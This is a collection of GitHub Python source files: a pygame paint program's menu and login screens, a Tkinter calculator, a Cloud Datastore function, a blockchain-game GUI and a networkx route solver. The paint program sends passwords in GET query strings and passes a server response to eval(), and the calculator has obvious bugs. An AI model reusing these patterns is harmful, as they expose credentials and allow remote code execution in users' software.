{\"New\":[280,80],\"Load\":[400,80]}\n        for item in items_positions:\n            stuff = items_positions[item]\n            text_with_outline(item,myfont,(0,0,0), (255,255,255), stuff[0], stuff[1], 1, True) #Create the text\n            \n            if selection_menu == item: #If it is the selected one, make an elipse under it \n                pygame.draw.ellipse(screen,(255,255,255),(int(stuff[0]*size_ratio),int(stuff[1]*size_ratio)+y_taken,x_taken,int(20*size_ratio)))\n                \n            elif clicked and stuff[0]*size_ratio<=mouse_x<=stuff[0]*size_ratio+x_taken and stuff[1]*size_ratio<=mouse_y<=stuff[1]*size_ratio+y_taken:\n                #It is selected, switch menus\n                selection_menu = item\n\n                \n        if selection_menu == \"New\":\n            #Allow them to name their project and start a new one\n\n            position = [235,335]\n            \n            #Make the text label on top of the text box\n            largest_size, x_taken, y_taken, myfont = font_size(\"calibri\",\"Name your project:\",int(250*size_ratio),int(35*size_ratio),100)\n            text_with_outline(\"Name your project:\",myfont,(255,255,255), (0,0,0), position[0], position[1]-35, 1, True)\n            \n            #Make the text box\n            outer_box = pygame.draw.rect(screen,0, ([int(e*size_ratio) for e in position],[int(i*size_ratio) for i in [250,50]]),1)\n            \n            field_box = pygame.Surface([int(i*size_ratio) for i in [250,50]])  \n            field_box.set_alpha(150)\n            field_box.fill((200,200,200))\n            screen_button = screen.blit(field_box,[int(e*size_ratio) for e in position])\n\n            #Check if they selected the text box\n            if screen_button.collidepoint((mouse_x,mouse_y)) and clicked:\n                typing_paint = True \n                new_paint = \"\"\n                \n            elif clicked or pressed_enter: #Check if they had it selected, but they clicked away or enter\n                typing_paint = False\n\n            #Add to the text and remove from it according to user input\n            if typing_paint:\n                new_paint += new_text\n                new_paint = new_paint[:len(new_paint)-del_clicked]\n\n            #Change the text shown to include | every second for half a second\n            text = new_paint\n            if loop_start%1>0.5 and typing_paint:\n                text += \"|\"\n\n            #Display the name they have chosen\n            largest_size, x_taken, y_taken, myfont = font_size(\"calibri\",text,int(250*size_ratio),int(50*size_ratio),100)\n            text_with_outline(text,myfont,(255,255,255), (0,0,0), position[0], position[1], 1, True)\n\n            #Make the create button and see if it is clicked\n            image_clicked = draw_images({\"Create\":[630, 350]},mouse_x,mouse_y,\"Clicked\")\n            \n            if image_clicked != \"None\":\n                #Animate it to be larger\n                screen.blit(pygame.transform.scale(images_folder[\"Create\"],[int(i*size_ratio) for i in [200,80]]),(int((615)*size_ratio),int((340)*size_ratio)))\n                \n                if clicked: #Make a brand new paint, and let them start painting\n                    transition_value = 6\n                    next_window = \"Paint\"\n                    if new_paint == \"\":\n                        new_paint = \" \"\n                    file_name = new_paint\n                    chosen_thickness = 5 #This is the thickness they choose from the thickness slider\n                    chosen_colour = (0,0,0) #This is their colour of choice\n                    chosen_filled = None #This is their colour for the filled portions of the shapes, or None if it is not filled\n                    chosen_category = \"Tools\" #Indicates if you are looking at Tools, Shapes, Stamps, or Extras\n                    chosen_item = \"Pencil\" #Variable for the Selected item\n                    undo_list = []\n                    redo_list = []\n                    \n        elif selection_menu == \"Load\": #if they wish to load a saved file\n            saved_items = {\"Online saves\":user_info[\"Online saves\"],\"Local saves\":local_saves}\n            #Display both online and local menus\n            for item in select_save_page:\n                #Display the option rectangles (Online Saves and Local Saves), one of each side of the screen\n\n                #Show the text above the rectangle to diffrenciate them\n                largest_size, x_taken, y_taken, myfont = font_size(\"calibri\",item,int(250*size_ratio),int(35*size_ratio),100)\n                properties = select_save_page[item] #[x position, y position, scroll value]\n                \n                text_with_outline(item,myfont,(255,255,255), (0,0,0), properties[0], properties[1], 1, True)\n\n                #Make the transparent rectangles\n                trans_screen = pygame.Surface((x_taken,int(200*size_ratio)))\n                trans_screen.set_alpha(50)\n                background_trans = screen.blit(trans_screen,(int(properties[0]*size_ratio),int(properties[1]*size_ratio)+y_taken))\n                \n                if background_trans.collidepoint((mouse_x,mouse_y)): #Account for scrolling if they are on the rectangle\n                    properties[2] += scrolled\n                    if properties[2]>=len(saved_items[item].keys())-3: #Over the limit\n                        properties[2]= len(saved_items[item].keys())-4\n                    if properties[2]<0: #Under the minimum.\n                        properties[2] = 0\n\n                #Figure out which name takes the largest size, and follow the font it needs\n                        \n                save_keys = list(saved_items[item].keys()) #Names of all the saves\n                \n                largest_size2, x_taken2, y_taken2, myfont2 = 99999,0,0,None #Variables used to hold the largest size that fits all of them \n                size = (x_taken,int(200*size_ratio/4)) #The size needed for text c\n                \n                for save_key in save_keys: #Get the max size for the text that fits all of them to make it look professional \n                    largest_size3, x_taken3, y_taken3, myfont3 = font_size(\"calibri\",save_key,size[0],size[1],100)\n                    if largest_size3<largest_size2:\n                        largest_size2, x_taken2, y_taken2, myfont2 = largest_size3, x_taken3, y_taken3, myfont3\n                        \n                for current_save in range(properties[2],properties[2]+4): #Make up to 4 saves shown\n                    if 0<= current_save < len(save_keys): #Check if there are even that many\n                        #Figure out the spot for the save\n                        spot = (int(properties[0]*size_ratio),int(properties[1]*size_ratio+y_taken +size[1]*(current_save - properties[2])))\n\n                        #Make a transparent surface on top\n                        trans_screen = pygame.Surface(size)\n                        if spot[0]<=mouse_x<=spot[0]+size[0] and spot[1]<=mouse_y<=spot[1]+size[1]: #If they are hovering, make it lighter\n                            trans_screen.set_alpha(100)\n                            \n                            #Make sample of the program so they know what they are clicking\n                            file_name = save_keys[current_save]\n                            wanted_file = saved_items[item][file_name]\n                            trans_file = pygame.transform.scale(wanted_file,[int(e*size_ratio) for e in [100,75]])\n                            screen.blit(trans_file,([int(e*size_ratio) for e in [468,310]]))\n                            \n                            if clicked: #Transition into the loaded file because they clicked\n                                transition_value = 6\n                                next_window = \"Paint\"\n                                chosen_thickness = 5\n                                chosen_colour = (0,0,0)\n                                chosen_filled = None\n                                chosen_category = \"Tools\" #Tools, Shapes, Stickers, Animations\n                                chosen_item = \"Pencil\" #Selected item\n                                \n                                undo_list = [wanted_file]\n                                redo_list = []\n                        else:\n                            trans_screen.set_alpha(170)\n                            \n                        #Blit the transparent surface then make the text for the save on top\n                        screen.blit(trans_screen,spot)                        \n                        text_with_outline(save_keys[current_save],myfont2,(255,255,255), (0,0,0), spot[0], int(spot[1]+((size[1]-y_taken2)/2)), 1, False)\n\n    ####################################\n    # They are checking their account\n    elif window_chosen == \"Account\":\n        if user_info[\"Logged in\"]:\n            #They are logged in, tell them that they are\n            image_clicked = draw_images({'Checkbox Y': [240, 90,\"Don't check collide\"],\"Sign Out\": [630, 340]},mouse_x,mouse_y,\"Clicked\")\n            largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",\"You are signed in\",int(300*size_ratio),int(150*size_ratio),100) #\"Welcome, Player\"\n            text_with_outline(\"You are signed in\",myfont,(190,197,197), (0,40,0), 290, 90, 1, True)\n            \n            if image_clicked==\"Sign Out\" and clicked: #They logged out, revert the variables back to logged off status\n                user_info = {\"Username\":\"Guest\",\"Logged in\": False,\"Online saves\":[]}\n                \n            elif image_clicked == \"Sign Out\": #They are hovering on the button, make it larger for them\n                image = screen.blit(pygame.transform.scale(images_folder[\"Sign Out\"],[int(i*size_ratio) for i in [220,70.4]]),(int(625*size_ratio),int(335*size_ratio)))\n\n        else:\n            #They are signing in\n\n            #Display a message at the top to tell them what to do\n\n            if sign_failure[0] != 0: #If they have recently messed up signging in, tell them why\n                message = sign_failure[1]\n                if loop_start - sign_failure[0] > 5: #If it has been long enough, change the variable so that it does not tell them anymore\n                    sign_failure = [0,\"\"]\n            else:\n                message = \"You are not signed in\"\n\n            #Display the message at the top\n            largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",message,int(300*size_ratio),int(150*size_ratio),100) #\"Welcome, Player\"\n            text_with_outline(message,myfont,(190,197,197), (60,0,0), 290, 90, 1, True)\n\n            #Display the X button to show that they are not logged in, and the buttons\n            image_database= {'Checkbox X': [240, 90,\"Just a btton to show\"],'Register': [630, 280],\"Sign in\": [630, 350]}\n            image_clicked = draw_images(image_database,mouse_x,mouse_y,\"Clicked\")\n\n            #Make the text box for username and password\n            field_box = pygame.Surface([int(i*size_ratio) for i in [250,50]])  \n            field_box.set_alpha(150)\n            field_box.fill((200,200,200))\n            \n            for field in login_fields: #Check their textboxes\n                position = login_fields[field][\"Buttonpos\"]   #The position of the text box\n                \n                #Tell them to enter their username or password into the box:\n                largest_size, x_taken, y_taken, myfont = font_size(\"calibri\",field,int(250*size_ratio),int(35*size_ratio),100)\n                text_with_outline(field,myfont,(255,255,255), (0,0,0), position[0], position[1]-35, 1, True)\n\n                #Make the box\n                outer_box = pygame.draw.rect(screen,0, ([int(e*size_ratio) for e in position],[int(i*size_ratio) for i in [250,50]]),1)\n\n                #Put the transparent layer on top to make it seem like a text box\n                screen_button = screen.blit(field_box,[int(e*size_ratio) for e in position]) #The text box rectangle\n                \n                if screen_button.collidepoint((mouse_x,mouse_y)) and clicked: #They just selected the rectangle\n                    login_fields[field][\"Editing\"] = True\n                    login_fields[field][\"Text\"] = \"\"\n                    \n                elif clicked or pressed_enter: #They just finished typing\n                    login_fields[field][\"Editing\"] = False\n                    \n                if login_fields[field][\"Editing\"]: #They're typing, account for any changes\n                    login_fields[field][\"Text\"] += new_text\n                    login_fields[field][\"Text\"] = login_fields[field][\"Text\"][:len(login_fields[field][\"Text\"])-del_clicked] #When they click delete\n\n                #Display all hashtags for password but display the username fully\n                text = field != \"Password\" and login_fields[field][\"Text\"] or len(login_fields[field][\"Text\"])*\"#\"\n                \n                #Add a | to the text every second for half a second\n                if loop_start%1>0.5 and login_fields[field][\"Editing\"]:\n                    text += \"|\"\n\n                #Display the text in the box, fitting it all inside the box\n                largest_size, x_taken, y_taken, myfont = font_size(\"calibri\",text,int(250*size_ratio),int(50*size_ratio),100)\n                text_with_outline(text,myfont,(255,255,255), (0,0,0), position[0], position[1], 1, True)\n                \n            if image_clicked != \"None\": #Check for the sign in/register options\n                #Animate the option to be larger\n                x,y = image_database[image_clicked]\n                image = screen.blit(pygame.transform.scale(images_folder[image_clicked],[int(i*size_ratio) for i in [200,80]]),(int((x-15)*size_ratio),int((y-10)*size_ratio)))\n                \n                if clicked: #Check if they clicked on the option\n                    #Send a log in /register request to the server\n                    params = {\"Request\":image_clicked,\"Username\":login_fields[\"Username\"][\"Text\"],\"Password\":login_fields[\"Password\"][\"Text\"]}\n                    response = requests.get(docs_url,params)\n\n                    given = response.json() #The response, in a string\n                    \n                    if given==\"Incorrect username\" or given==\"Username taken\" or given==\"Incorrect password\":\n                        # They messed up one of them: Username taken/ incorrect username/ incorrect password\n                        sign_failure = [time.time(),given] #Switch the variable to the time and message, which will be shown for the next few seconds\n                        \n                    elif given == \"Account Created\": #Sign up worked!\n                        user_info = {\"Username\":login_fields[\"Username\"][\"Text\"],\"Logged in\": True,\"Online saves\":{}} #Log them in\n                    else: #Sign in worked!\n                        user_info = {\"Username\":login_fields[\"Username\"][\"Text\"],\"Logged in\": True,\"Online saves\":eval(given)} #Log them in\n\n\n            \n    #Transition if wanted to (Shades the screen in and out from menu to menu)\n    if transition_value !=0: #The shade is changing\n        \n        current_shade += transition_value*(loop_start-(loop_end or loop_start))*20 #Change the shade according to the transition value\n        \n        if current_shade < 0 and transition_value<0: #It has fading from opaque to completely transparent, job finished\n            transition_value = 0\n            current_shade = 0\n            \n        elif current_shade > 255 and transition_value>0: #It has faded from the menu to a black screen, now transition\n            transition_value *= -1 #Switch it to fade the other way\n            current_shade = 255\n            window_chosen=next_window #Switch windows\n            update_menu() #Change the menu according to the new window\n            pygame.time.wait(150) #Leave the black screen on for 150 miliseconds\n            \n        transition_image = screen.copy() #Take a copy of the screen before putting on the surface\n\n        #Put on the shade\n        transparent_screen = pygame.Surface([int(i*size_ratio) for i in original_screen])  \n        transparent_screen.set_alpha(current_shade)    \n        screen.blit(transparent_screen, (0,0))\n\n    pygame.display.flip() #Display all the changes to the player\n    loop_end = loop_start #Keep track of when the loop started to compare it to the next loop\n    last_x,lasy_y = mouse_x,mouse_y #Keep track of old mouse positions to connect them to future ones\n\n#Quit everything\npygame.quit()\npygame.mixer.init()\npygame.mixer.music.stop()\n","repo_name":"Noor-Nasri/Paint-Project","sub_path":"Source Code.py","file_name":"Source Code.py","file_ext":"py","file_size_in_byte":84432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27059974980","text":"\"\"\"A calculator with Tkinter\"\"\"\nfrom tkinter import *\n\n\nroot = Tk()\nroot.title=\"Calculator\"\n\ne = Entry(root, width=35, borderwidth=5)\ne.grid(row=0, column=0, columnspan=3, padx=10, pady=10)\n\ne.delete(0, END)\n\ndef button_click(number):\n    current = e.get()\n    e.delete(0, END)\n    e.insert(0, str(current) + str(number))\n\n\n\ndef button_clear():\n    e.delete(0,END)\n\ndef button_operator(operator):\n    first_number = e.get()\n    global f_num\n    f_num = first_number\n    e.delete(0, END)\n    global operatorVar \n    operatorVar = operator\n    return f_num\n\n\n\ndef Trigo():\n    return None\n\n\n\ndef button_eq():\n    second_number = e.get()\n    e.delete(0, END)\n    if operatorVar == '+':\n        e.insert(0, f_num + int(second_number))\n    elif operatorVar == '-':\n        e.insert(0, f_num - int(second_number))\n    elif operatorVar == '*':\n        e.insert(0, f_num * int(second_number))\n    elif operatorVar == '/':\n        e.insert(0, f_num / int(second_number))\n      \n        \nclicked = StringVar()\nclicked.set(\"cos\")\n\n\n# Define button_s\nbutton_0 = Button(root, text=\"0\", padx= 40, pady= 20, command=lambda: button_click(0))\nbutton_1 = Button(root, text=\"1\", padx= 40, pady= 20, command=lambda: button_click(1))\nbutton_2 = Button(root, text=\"2\", padx= 40, pady= 20, command=lambda: button_click(2))\nbutton_3 = Button(root, text=\"3\", padx= 40, pady= 20, command=lambda: button_click(3))\nbutton_4 = Button(root, text=\"4\", padx= 40, pady= 20, command=lambda: button_click(4))\nbutton_5 = Button(root, text=\"5\", padx= 40, pady= 20, command=lambda: button_click(5))\nbutton_6 = Button(root, text=\"6\", padx= 40, pady= 20, command=lambda: button_click(6))\nbutton_7 = Button(root, text=\"7\", padx= 40, pady= 20, command=lambda: button_click(7))\nbutton_8 = Button(root, text=\"8\", padx= 40, pady= 20, command=lambda: button_click(8))\nbutton_9 = Button(root, text=\"9\", padx= 40, pady= 20, command=lambda: button_click(9))\nbutton_Plus = Button(root, text=\"+\", padx= 40, pady= 20, command= button_operator('+'))\nbutton_Eq = Button(root, text=\"=\", padx= 91, pady= 20, command= button_eq)\nbutton_Clear = Button(root, text=\"Clear\", padx= 79, pady= 20, command= button_clear)\nbutton_minus = Button(root, text=\"-\", padx= 40, pady= 20, command= button_operator('-'))\nbutton_multi = Button(root, text=\"*\", padx= 40, pady= 20, command= button_operator('*'))\nbutton_div = Button(root, text=\"/\", padx= 40, pady= 20, command= button_operator('/'))\ntrigo = OptionMenu(root, clicked, \"cos\", \"sin\", \"tan\")\n\n'''\n\n# Trig option \nTrigo.option_add(label=\"cos\", command=button_clear)\nTrigo.option_add(lavel=\"sin\", command=button_clear)\nTrigo.option_add(lavel=\"tan\", command=button_clear)\n'''\n\n# Putting the number on the scree\nbutton_1.grid(row=3, column=0)\nbutton_2.grid(row=3, column=1)\nbutton_3.grid(row=3, column=2)\n\nbutton_4.grid(row=2, column=0)\nbutton_5.grid(row=2, column=1)\nbutton_6.grid(row=2, column=2)\n\n\nbutton_7.grid(row=1, column=0)\nbutton_8.grid(row=1, column=1)\nbutton_9.grid(row=1, column=2)\n\nbutton_0.grid(row=4, column=0)\nbutton_Clear.grid(row=4, column=1, columnspan=2)\nbutton_Plus.grid(row=5, column=0)\nbutton_Eq.grid(row=5, column=1, columnspan=2)\nbutton_minus.grid(row=6,column=0)\nbutton_multi.grid(row=6, column=1)\nbutton_div.grid(row=6, column=2)\ntrigo.grid(row=8, column=0, columnspan=3, padx=10, pady=10)\n\n#Start the GUI event loop\nroot.mainloop()","repo_name":"djepar/CoursGenInfo","sub_path":"Programmation/Progfolio/Python/calculator/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15883676043","text":"import os\nimport datetime\n\nfrom google.cloud import datastore\n\ndatasotre_client = datastore.Client()\n\n#テーブル名指定\nCRAWLER_ENV = os.environ.get('CRAWLER_ENV', 'local')\nentity_name = f\"{CRAWLER_ENV}-products\"\n\n# メイン\n# HTTPトリガー サンプル\ndef main(request):\n    # url;パラメータをjson形式で取得\n    request_json = request.get_json()\n\n    asin = \"ABCD123\"\n    product_name = \"ビールZZZ\"\n\n    # デバッグメッセージ\n    # bigquery 一時テーブル登録\n    input_data = []\n    input_data.append(asin)\n    input_data.append(product_name)\n    regist_data(input_data)\n\n    print(\"sample function END\")\n    return \"Success\"\n\ndef regist_data(input_data):\n\n    current_datetime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n    try:\n        product_key = datasotre_client.key(entity_name, input_data[0])\n\n        entity = datastore.Entity(key=product_key)\n        entity.update(\n            {\n                \"product_name\": input_data[1],\n                \"created_at\": current_datetime\n            }\n        )\n        datasotre_client.put(entity)\n    except Exception as e:\n        print(e)\n","repo_name":"terry-shin/open-tech_lab","sub_path":"gcp/gcf/datastore_test/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34457663401","text":"import json\nfrom tkinter import *\nfrom Starter import *\n\n\nclass MainPage(object):\n    def __init__(self, master=None):\n        self.root = master\n        self.root.geometry('%dx%d' % (800, 800))\n        self.createPage()\n\n    def createPage(self):\n        self.page = Frame(self.root)  # 创建Frame\n        self.page.pack()\n\n        Button(self.page, text=\"PolyU Go\", font=10, width=15, height=3,\n               command=self.goGamePage).pack(\n            fill=X,\n            pady=60,\n            padx=10)\n        Button(self.page, text='Show UTXOs', font=30, width=15, height=3, command=self.goShowUTXOsPage).pack(fill=X,\n                                                                                                             pady=40,\n                                                                                                             padx=10)\n        Button(self.page, text='Show Block Info', font=30, width=15, height=3, command=self.goShowBlockPage).pack(\n            fill=X,\n            pady=40,\n            padx=10)\n\n    def goGamePage(self):\n        self.page.destroy()\n        gamePage(self.root)\n        self.root.title(f\"PolyU Go [{starter1.minerIndex}]\")\n\n    def goShowUTXOsPage(self):\n        self.page.destroy()\n        showUTXOsPage(self.root)\n        self.root.title('Show UTXOs')\n\n    def goShowBlockPage(self):\n        self.page.destroy()\n        showBlockPage(self.root)\n        self.root.title('Show Block Info')\n\n\nclass gamePage(object):\n    def __init__(self, master=None):\n        self.root = master\n        # self.root.geometry('%dx%d' % (500, 500))\n        self.efforts = StringVar()\n        self.guess = StringVar()\n        self.result = StringVar()\n        self.opportunities = StringVar()\n        self.createPage()\n\n    def createPage(self):\n        self.page = Frame(self.root)\n        self.page.pack()\n\n        Label(self.page).grid(row=0, stick=W)\n        Label(self.page, text='Daily efforts: ').grid(row=1, stick=W, pady=10, column=0)\n        Entry(self.page, textvariable=self.efforts).grid(row=2, stick=W, pady=10, ipadx=20)\n        Button(self.page, text='Redeem', command=self.reedemEffort).grid(row=3, stick=W, pady=10)\n        Label(self.page, text='Remaining opportunities: ').grid(row=4, stick=W, pady=10)\n        Label(self.page, bg=\"white\", textvariable=self.opportunities, anchor=NW, justify='left', width=21).grid(row=5,\n                                                                                                                stick=W,\n                                                                                                                pady=10)\n\n        Label(self.page, text='Guess position: ').grid(row=6, stick=W, pady=10, column=0)\n        Entry(self.page, textvariable=self.guess).grid(row=7, stick=W, pady=10, ipadx=20)\n        Button(self.page, text='Go', command=self.checkResult).grid(row=8, stick=W, pady=10)\n        Label(self.page, text='Result: ').grid(row=9, stick=W, pady=10)\n        Label(self.page, bg=\"white\", textvariable=self.result, anchor=NW, justify='left', width=21).grid(row=10,\n                                                                                                         stick=W,\n                                                                                                         pady=10,\n                                                                                                         ipadx=200,\n                                                                                                         ipady=100)\n\n        Button(self.page, text='Update Map', command=self.clean).grid(row=11, stick=W, pady=10)\n        Button(self.page, text='Back', command=self.goMainPage).grid(row=12, stick=W, pady=10)\n\n    def reedemEffort(self):\n        efforts = self.efforts.get()\n        self.opportunities.set(efforts)\n\n    def checkResult(self):\n        remainingTimes = int(self.opportunities.get())\n        if remainingTimes > 0:\n            guess = self.guess.get()\n            # call mining function TODO\n            result = Owner.checkResult(guess)\n            if result.startswith(\"Failed\"):\n                self.result.set(result)\n            else:\n                # find a new block\n                blockHash = result\n                feedback = f\"Find a new block at position[{guess}]!\\nThe block hash is {blockHash}\"\n                self.result.set(feedback)\n            self.opportunities.set(str(remainingTimes - 1))\n        else:\n            feedback = \"You have run out of opportunities\\n\" + \"Go to work!!\"\n            self.result.set(feedback)\n\n    def clean(self):\n        self.efforts.set(\"\")\n        self.guess.set(\"\")\n        self.result.set(\"\")\n        self.opportunities.set(\"\")\n        Owner.refreshMap()\n\n    def goMainPage(self):\n        self.page.destroy()\n        MainPage(self.root)\n        self.root.title(f\"Miner {starter1.minerIndex}\")\n\n\nclass showUTXOsPage(object):\n    def __init__(self, master=None):\n        self.root = master\n        # self.root.geometry('%dx%d' % (500, 500))\n        self.UTXOs = StringVar()\n        self.createPage()\n        self.ListBox = None\n\n    def createPage(self):\n        self.page = Frame(self.root)\n\n        Label(self.page).grid(row=0, stick=W)\n\n        Label(self.page, text='UTXOs: ').grid(row=5, stick=W, pady=10)\n\n        s = Scrollbar(self.page, orient=VERTICAL)\n        s2 = Scrollbar(self.page, orient=HORIZONTAL)\n        self.ListBox = Listbox(self.page, width=50, yscrollcommand=s.set, xscrollcommand=s2.set)\n\n        s.config(command=self.ListBox.yview())\n        s2.config(command=self.ListBox.xview())\n\n        self.ListBox.grid(row=6, stick=W,\n                          pady=10,\n                          ipadx=50,\n                          ipady=200)\n\n        global starter1\n\n        result = starter1.miner.getUTXOs()\n\n        keys = result.utxos.key\n        amounts = result.utxos.amount\n        owner = result.utxos.owner\n\n        for i in range(len(keys)):\n            desplay_result = keys[i] + f\" Amount: {amounts[i]} Owner: {owner[i]}\"\n\n            self.ListBox.insert(END, desplay_result)\n            self.ListBox.insert(END, \"\\n\")\n\n        Button(self.page, text='Back', command=self.goMainPage).grid(row=7, stick=W, pady=10)\n        self.page.pack()\n\n    def getUTXOs(self):\n        # getUTXOs() TODO\n        global starter1\n        # genUTXOs(starter1.bc_Miner.minerIndex)\n\n        result = starter1.miner.getUTXOs()\n\n        keys = result.utxos.key\n        amounts = result.utxos.amount\n        owner = result.utxos.owner\n\n        desplay_result = \"\"\n        for i in range(len(keys)):\n            desplay_result += keys[i] + f\"\\nAmount: {amounts[i]}\\nOwner: {owner[i]} \\n\\n\"\n\n    def goMainPage(self):\n        self.page.destroy()\n        MainPage(self.root)\n        self.root.title(f\"Miner {starter1.minerIndex}\")\n\n\nclass showBlockPage(object):\n    def __init__(self, master=None):\n        self.root = master\n        # self.root.geometry('%dx%d' % (500, 500))\n        self.blockIndex = StringVar()\n        self.blockInfo = StringVar()\n        self.createPage()\n\n    def createPage(self):\n        self.page = Frame(self.root)\n        self.page.pack()\n        # self.page\n\n        Label(self.page).grid(row=0, stick=W)\n        Label(self.page, text='Block Index: ').grid(row=1, stick=W, pady=10, column=0)\n        Entry(self.page, textvariable=self.blockIndex).grid(row=2, stick=W, pady=10, ipadx=20)\n        Label(self.page, text='Block Info: ').grid(row=3, stick=W, pady=10)\n        Label(self.page, bg=\"white\", textvariable=self.blockInfo, anchor=NW, justify='left', width=21).grid(row=4,\n                                                                                                            stick=W,\n                                                                                                            pady=10,\n                                                                                                            ipadx=200,\n                                                                                                            ipady=100)\n        Button(self.page, text='Get Block', command=self.getBlock).grid(row=5, stick=W, pady=10)\n        Button(self.page, text='Back', command=self.goMainPage).grid(row=7, stick=W, pady=10)\n\n    def getBlock(self):\n        index = self.blockIndex.get()\n\n        # get Block Info TODO\n        block = starter1.miner.getBlockInfo(int(index)).newBlock\n\n        for tx in block.transactionList:\n\n            for txOut in tx.TxOutList:\n                hash = hashlib.sha256((txOut.address).encode(\"utf-8\")).hexdigest()\n                hash_result = hashlib.sha256(hash.encode(\"utf-8\")).hexdigest()\n                txOut.address = hash_result\n\n        self.blockInfo.set(block)\n\n    def goMainPage(self):\n        self.page.destroy()\n        MainPage(self.root)\n        self.root.title(f\"Miner {starter1.minerIndex}\")\n\n\nstarter1 = None\nOwner = None\n\n\nclass runGUI:\n    def __init__(self, starter):\n        global starter1\n        global Owner\n        starter1 = starter\n        Owner = starter.miner\n\n    def run(self):\n        print(\"GUI go\")\n\n        root = Tk()\n        root.title(f\"Miner {starter1.minerIndex}\")\n        MainPage(root)\n        root.mainloop()\n\n\nif __name__ == \"__main__\":\n    runGUI(0).run()\n","repo_name":"Myohannn/PolyU-Go-Prototype","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":9282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20388210079","text":"import networkx as nx\n\n#iterate through a trip string and map the weight of the total trip\ndef get_weight_of_trip(graph,trip):\n    weight = 0\n    counter = 0\n    while counter < len(trip)-1:\n        eD = graph.get_edge_data(trip[counter],trip[counter+1])\n        if eD:\n            weight += int(eD[0]['weight'])\n            counter+=1\n        else:\n            return 'NO SUCH ROUTE'\n    return weight\n    \ndef get_steps_of_trip(graph,trip):\n    weight = 0\n    counter = 0\n    while counter < len(trip)-1:\n        eD = graph.get_edge_data(trip[counter],trip[counter+1])\n        if eD:\n            weight += int(eD[0]['weight'])\n            counter+=1\n        else:\n            return None\n    return weight\n    \ndef chart_trip_weight(graph,steps):\n    weight = 0\n    counter = 0\n    while counter < len(steps)-1:\n        trip = steps[counter]+steps[counter+1]\n        weight += get_weight_of_trip(graph,trip)\n        counter+=1\n    return weight\n    \ndef chart_trip_with_stop_cap(graph,start,end,stops,depthLimit):\n    trips = []\n    if start==end:\n        trips = chart_trip_allow_loops(graph,start,end,depthLimit,\"\")\n    else:\n        trips = nx.all_simple_edge_paths(graph, start, end)\n        \n    counter = 0\n    for trip in trips:\n        if len(trip) <= stops:\n            counter+=1\n    return counter\n    \ndef chart_trip_with_stop_amt(graph,start,end,stops,depthLimit):\n    trips = []\n    if start==end:\n        trips = chart_trip_allow_loops(graph,start,end,depthLimit,\"\")\n    else:\n        trips = nx.all_simple_edge_paths(graph, start, end)\n        \n    counter = 0\n    for trip in trips:\n        if len(trip)%stops:\n            counter+=1\n    return counter\n    \ndef chart_trip_with_weight_cap(graph,start,end,weightCap,depthLimit):\n    trips = []\n    if start==end:\n        trips = chart_trip_allow_loops(graph,start,end,depthLimit,start)\n    else:\n        tripOptions = list(nx.all_simple_edge_paths(graph, start, end))\n        for trip in tripOptions:\n            tripDescription = [start]\n            for t in trip:\n                tripDescription.append(t[1])\n            trips.append(tripDescription)\n    \n    validTrips = []\n    for trip in trips:\n        wt = chart_trip_weight(graph,trip)\n        if wt and wt < weightCap:\n            validTrips.append(trip)\n    return validTrips\n    \ndef chart_shortest_trip(graph,start,end,depthLimit):\n    trips = []\n    if start==end:\n        trips = chart_trip_allow_loops(graph,start,end,depthLimit,\"\")\n    else:\n        tripOptions = list(nx.all_simple_edge_paths(graph, start, end))\n        for trip in tripOptions:\n            tripDescription = [start]\n            for t in trip:\n                tripDescription.append(t[1])\n            trips.append(tripDescription)\n    \n    shortest_trip = None\n    for trip in trips:\n        wt = chart_trip_weight(graph,trip)\n        if wt and shortest_trip == None or wt < shortest_trip[0]:\n            shortest_trip = [wt,trip]\n    return shortest_trip\n    \ndef chart_trip_allow_loops(graph,start,end,depthLimit,startPath):\n    paths = []\n    if depthLimit > 0:\n        edges = graph.edges(data=True)\n        for e in edges:\n            if e[0] == start:\n                if e[1] == end:\n                    paths.append(startPath+e[1])\n\n                subPaths = chart_trip_allow_loops(graph,e[1],end,depthLimit-1,startPath+e[1])\n                for subPath in subPaths:\n                    paths.append(subPath)\n    return paths\n\ndef main():   \n    graph = nx.MultiDiGraph()\n    mapDefinition = \"AB5, BC4, CD8, DC8, DE6, AD5, CE2, EB3, AE7\"\n\n    #build map from mapDefinition string\n    mapElements = mapDefinition.split(\", \")\n    for el in mapElements:\n        graph.add_weighted_edges_from([(el[0], el[1], int(el[2]))])\n\n    print('Output #1:'+str(get_weight_of_trip(graph,'ABC')))\n    print('Output #2:'+str(get_weight_of_trip(graph,'AD')))\n    print('Output #3:'+str(get_weight_of_trip(graph,'ADC')))\n    print('Output #4:'+str(get_weight_of_trip(graph,'AEBCD')))\n    print('Output #5:'+str(get_weight_of_trip(graph,'AED')))\n    \n    print('Output #6:'+str(chart_trip_with_stop_cap(graph,'C','C',3,5)))\n    print('Output #7:'+str(chart_trip_with_stop_amt(graph,'A','C',4,5)))\n\n    print('Output #8:'+str(get_weight_of_trip(graph,nx.shortest_path(graph, 'A', 'C', weight='weight', method='dijkstra'))))\n    print('Output #9:'+str(chart_shortest_trip(graph,'A','C',5)[0]))\n    print('Output #10:'+str(len(chart_trip_with_weight_cap(graph,'C','C',30,10))))\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"devotedtoneurosis/TrainRouteProject","sub_path":"networkxexample.py","file_name":"networkxexample.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
